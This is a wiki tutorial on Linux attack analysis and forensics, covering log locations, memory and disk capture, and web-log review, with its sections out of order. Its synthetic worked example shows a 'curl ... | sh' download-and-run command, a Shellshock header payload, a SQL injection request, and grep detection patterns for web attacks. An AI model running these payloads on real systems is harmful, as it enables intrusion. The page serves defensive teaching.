| '''ctime''' (changed) || When the file's ''metadata'' last changed (permissions, owner, name, contents) || Normal tools cannot set it directly, so a file whose mtime says 2019 but whose ctime says last Tuesday has probably been "timestomped." But an attacker with root can still change it (by setting the system clock, or by editing the file system directly with a tool such as <code>debugfs</code>).
|-
| '''btime''' (birth/creation) || When the file was created || Recorded by ext4 and shown by <code>stat</code> ("Birth"); not available on every file system or tool.
|}

Timelines have limits. Timestamps are temporary: each file keeps only its latest values. If an attacker edits <code>/etc/shadow</code> and a user later changes a password, the attacker's timestamp is overwritten and your timeline has a hole. Normal system activity also updates timestamps. Administrators (and attackers with root) can change them at will. And you need to know what is normal to interpret them: a set-UID bit turned on for a shell is alarming; the same change to a package's own program during an update is not.

For those reasons, treat a timeline as '''a guide to evidence, not evidence itself'''. It points you to the files, logs and memory artifacts that you then examine and can report.

Some other useful timing facts:

* Work in one time zone (UTC is easiest). File systems store times in UTC, but command-line tools display them in your workstation's local time zone unless you tell them otherwise.
* The SSH host keys under <code>/etc/ssh</code> are usually created the first time a system boots. Their timestamps therefore hint at when the system was first started, useful for judging how old a system or a cloned image is. (Linux does not otherwise record an install date.)
* Check the system's own clock and time zone against its logs before you compare times across sources.

=== A note on deleted files ===

Recovering deleted files is harder on Linux than people expect. On ext4, deleting a file typically wipes the information that says where its data was stored, and XFS behaves similarly, so undeleting it is often impractical. It is far better to catch a malicious file while it still exists (or while a process still has it open: see [[#Reading the process list|reading the process list]] above) than to count on recovering it later. The internals of the ext4 and XFS file systems are a deep subject of their own; see the sources below if you need them.

== Worked example ==

''This is a made-up scenario (synthetic logs, documentation IP addresses) showing how the pieces fit together.''

'''Report:''' the web server is slow, and the monitoring tool flagged outbound traffic to an unfamiliar address.

'''1. Volatile state.''' The process tree shows a shell started by the web server, and a process nobody can identify:

<syntaxhighlight lang="text">
www-data 4108 apache2 -k start
www-data 4121 \_ sh -c curl -s http://203.0.113.50/u.sh | sh
www-data 4188 /var/tmp/.cache/update
</syntaxhighlight>

<syntaxhighlight lang="text">
$ sudo ss -tnp state established
Recv-Q Send-Q Local Address:Port Peer Address:Port Process
0 0 10.0.0.5:48822 203.0.113.50:4444 users:(("update",pid=4188,fd=3))
</syntaxhighlight>

Already there are three clues: a web-server child running a downloader, a program in a hidden directory under <code>/var/tmp</code>, and an outbound connection owned by that program.

'''2. Way in.''' The access log around the time process 4121 started (14:02 UTC) holds:

<syntaxhighlight lang="text">
198.51.100.7 - - [10/Sep/2026:14:02:11 +0000] "GET /cgi-bin/status.sh HTTP/1.1" 200 412 "-" "() { :;}; echo; /usr/bin/id"
</syntaxhighlight>

A <code>() {</code> in the User-Agent, sent to a CGI script, is a Shellshock attempt. The <code>200</code> and the timing (the shell appears seconds later) suggest it worked. The client address, <code>198.51.100.7</code>, is the same one that was guessing SSH passwords minutes earlier in <code>auth.log</code>, so the attacker was probing more than one way in.

'''3. Persistence.''' The cron directory for the web user contains a job that restarts the unknown program every minute:

<syntaxhighlight lang="text">
$ sudo cat /var/spool/cron/crontabs/www-data
* * * * * /var/tmp/.cache/update >/dev/null 2>&1
</syntaxhighlight>

Killing process 4188 alone would have accomplished nothing; it would have been relaunched within a minute. Before killing it, the analyst copies the program out of <code>/proc/4188/exe</code> and hashes it.

'''4. Timeline.'''

{| class="wikitable"
! Time (UTC) !! Event !! Source
|-
| 13:58 to 13:59 || Repeated SSH failures from 198.51.100.7, then a successful login as <code>deploy</code> || <code>auth.log</code>
|-
| 14:02 || Shellshock-style request against <code>/cgi-bin/status.sh</code> || <code>access.log</code>
|-
| 14:02 || <code>apache2</code> spawns a shell that downloads and runs a script || process tree
|-
| 14:03 || <code>/var/tmp/.cache/update</code> created; cron entry added || file times, crontab
|-
| 14:03 onward || Outbound connection to 203.0.113.50:4444 || <code>ss</code>
|}

'''5. Conclusions and open questions.''' The web server was compromised through a vulnerable CGI script, and there is persistence and an active outbound connection. Open questions: was the <code>deploy</code> SSH login also the attacker (check that account's history and keys)? What did the attacker reach with the web user's permissions? Is there any sign of privilege escalation to root (set-UID files, new accounts, a rootkit)? Until those are answered the machine cannot be considered clean.

== After the analysis ==

* '''Contain:''' isolate the host from the network (firewall rule or unplug) rather than powering it off, so volatile evidence is preserved until you have captured it.
* '''Eradicate and recover:''' if an attacker had root, or if you found a rootkit, the safest course is to rebuild the system from trusted media and restore data from a backup that pre-dates the compromise, rather than trying to clean it in place.
* '''Reset credentials and keys''' that were on the machine: passwords, SSH keys, API tokens, database passwords, TLS keys.
* '''Close the way in:''' patch the vulnerable software, disable unneeded services (see [[Introduction to Service Auditing]]), and tighten SSH (key-only login, no root login, rate limiting).
* '''Write it up:''' the timeline, what you found, what you did and what you could not determine. This is what turns an incident into a lesson.

== Quick reference: symptom to first check ==

{| class="wikitable"
! Symptom !! First place to look
|-
| Unexpected logins || <code>last -aiF</code>, <code>auth.log</code> (or <code>secure</code>), <code>journalctl -u ssh</code>
|-
| Web server slow or making outbound connections || Process tree (<code>ps --forest</code>), <code>ss -tnp</code>, web access and error logs
|-
| A process you cannot identify || <code>/proc/PID/exe</code> and <code>cwd</code>; is the executable deleted, under <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, or in a hidden directory?
|-
| A user or service you do not recognize || <code>/etc/passwd</code> (UID 0 and login shells), <code>/etc/shadow</code>, <code>sudoers</code>
|-
| A program that keeps coming back || <code>crontab</code>s, <code>systemctl list-timers</code>, enabled unit files, shell start-up files, scripts those run
|-
| Someone can log in without a password || <code>authorized_keys</code> files, <code>sshd_config</code>
|-
| Commands behave strangely or disagree || <code>debsums</code> or <code>rpm -Va</code>, <code>/etc/ld.so.preload</code>, a memory image with Volatility, a trusted boot disk, <code>rkhunter</code> as a secondary check
|-
| Logs look too clean || File sizes and mtimes in <code>/var/log</code>, remote log server, <code>journalctl --verify</code>
|-
| "What happened, and in what order?" || A timeline: <code>find -printf</code> for a quick look, TSK <code>fls</code> plus <code>mactime</code> for a full one
|-
| Machine is off, or you have only a disk || Mount the image read-only (<code>ro,noexec,noload</code>) and work through steps 2 to 6 on the mount
|}

== Practicing safely ==

The safest way to learn this is on machines built for it. Use intentionally vulnerable practice applications such as DVWA or WebGoat, run inside an isolated virtual machine or container on a network that is not connected to anything you care about, then practice on the ''defender'' side: read the logs, process list and files that your own test attack left behind. Never point attack tools at systems you do not own or have written permission to test.

For disk-analysis practice there are also published sample Linux disk images, for example the set created by Ali Hadi's team at Champlain College for a digital forensics workshop, available from the [https://github.com/ashemery/LinuxForensics LinuxForensics repository on GitHub]. Check that repository's own terms before copying or redistributing anything from it.

== Credits and license ==

Parts of this page are adapted from ''Linux Forensics'' (version 3.0.2) by Hal Pomeranz, Copyright © Hal Pomeranz, distributed under the [https://creativecommons.org/licenses/by-sa/4.0/ Creative Commons Attribution-ShareAlike 4.0 International License]. The original course slides are available from the [https://archive.org/details/HalLinuxForensics Internet Archive].

== Sources and further reading ==

* Hal Pomeranz, [https://archive.org/details/HalLinuxForensics ''Linux Forensics'']. A full course covering the topics on this page in depth, including ext4 and XFS file system internals and deleted-file recovery.
* [https://attack.mitre.org/matrices/enterprise/linux/ MITRE ATT&CK: Linux matrix]. A catalog of attacker techniques (persistence, privilege escalation, defense evasion and more) with detection guidance.
* [https://csrc.nist.gov/pubs/sp/800/61/r3/final NIST SP 800-61 Rev. 3]. Incident response recommendations from the U.S. National Institute of Standards and Technology.
* [https://owasp.org/www-project-top-ten/ OWASP Top 10]. The most common web application risks, including injection.
* [https://nvd.nist.gov/vuln/detail/CVE-2014-6271 CVE-2014-6271 (Shellshock)] in the National Vulnerability Database.
* Tools: [https://github.com/tclahr/uac UAC] (live collection), [https://github.com/microsoft/avml AVML] and [https://github.com/504ensicsLabs/LiME LiME] (memory capture), [https://github.com/volatilityfoundation/volatility3 Volatility 3] (memory analysis), [https://www.sleuthkit.org/ The Sleuth Kit] (disk and timeline analysis), [https://github.com/libyal/libewf libewf] (E01 images), [https://github.com/simsong/bulk_extractor bulk_extractor] (data carving).
* [https://man7.org/linux/man-pages/ Linux man pages]. Reference for <code>ss</code>, <code>find</code>, <code>stat</code>, <code>journalctl</code>, <code>last</code>, <code>ausearch</code>, <code>mount</code>, <code>losetup</code> and the other commands used above.

[[Category:Linux]]

Attack Analysis

2026-10-02T23:35:20Z

FlyingShrimps:

Attack Analysis

2026-10-02T23:30:46Z

FlyingShrimps: Requested review by FlyingShrimps: added to the review queue

Attack Analysis

2026-10-02T23:30:40Z

FlyingShrimps:

Attack Analysis

2026-10-02T23:29:45Z

FlyingShrimps: FlyingShrimps moved page User:FlyingShrimps/sandbox to Draft:Attack Analysis without leaving a redirect

<br />
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]

|}

'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.

== Ground rules ==

* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.

== The analysis loop ==

Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.

# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.

== Three ways to examine a system ==

The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.

{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}

== Where Linux keeps evidence ==

Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).

{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}

If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.

When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.

== Step 1: Preserve evidence ==

Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.

=== Live triage and volatile state ===

If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:

<syntaxhighlight lang="bash">
date -u; uptime # record the time and how long it has been up
who -a; w # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest # process tree with start times
sudo ss -tunap # all sockets with the owning process
sudo lsof -nP -i # network files, a second opinion on ss
</syntaxhighlight>

Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:

<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence

# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>

Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.

==== Reading the process list ====

It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:

* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.

<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'

# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'

# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'

# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'

# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>

'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):

<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>

Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.

==== Where attackers stage files ====

Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:

* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.

<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / $ -path /proc -o -path /sys -o -path /root -o -path '/home/*' $ -prune -o -type d -name '.*' -print 2>/dev/null

sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>

=== Capturing memory ===

Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.

{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}

<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>

Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:

<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime

# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>

Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).

=== Capturing a disk ===

How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.

* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).

<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>

Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).

== Working from a disk image ==

Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:

# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.

<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data

# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img

# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1

# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0 # confirm what is on it (for example: LVM2 PV)

# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0 # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan

# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>

Notes on the options:

* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).

Take the layers down in reverse order when you are done:

<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img # the ewfmount
</syntaxhighlight>

'''Traps when reading a mounted image:'''

* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).

== Step 2: Find the way in ==

=== Remote login (SSH) ===

Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"

<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head

# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log

# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>

Example output (addresses here are from the reserved documentation ranges, not real hosts):

<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>

The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:

<syntaxhighlight lang="bash">
last -aiF | head -20 # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20 # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted" # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>

Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.

Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.

=== Web applications ===

Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.

<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>

Start with an overview, and then zoom in on one address:

<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log # /var/log/nginx/access.log, or /var/log/httpd/access_log

awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr # status code counts
grep '^198.51.100.9 ' $LOG # everything one client did
</syntaxhighlight>

Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:

<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>

(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)

==== What common web attacks look like in the log ====

{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code><script></code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}

<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG # path traversal
grep -E ' *\{' $LOG # Shellshock-style header
</syntaxhighlight>

'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.

==== From a request to a compromise ====

A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:

* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?

<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls

# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>

== Step 3: What did they do? ==

=== Privilege escalation and account activity ===

<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened" # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log # account changes
awk -F: '$3==0 {print $1}' /etc/passwd # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd # accounts that can log in interactively
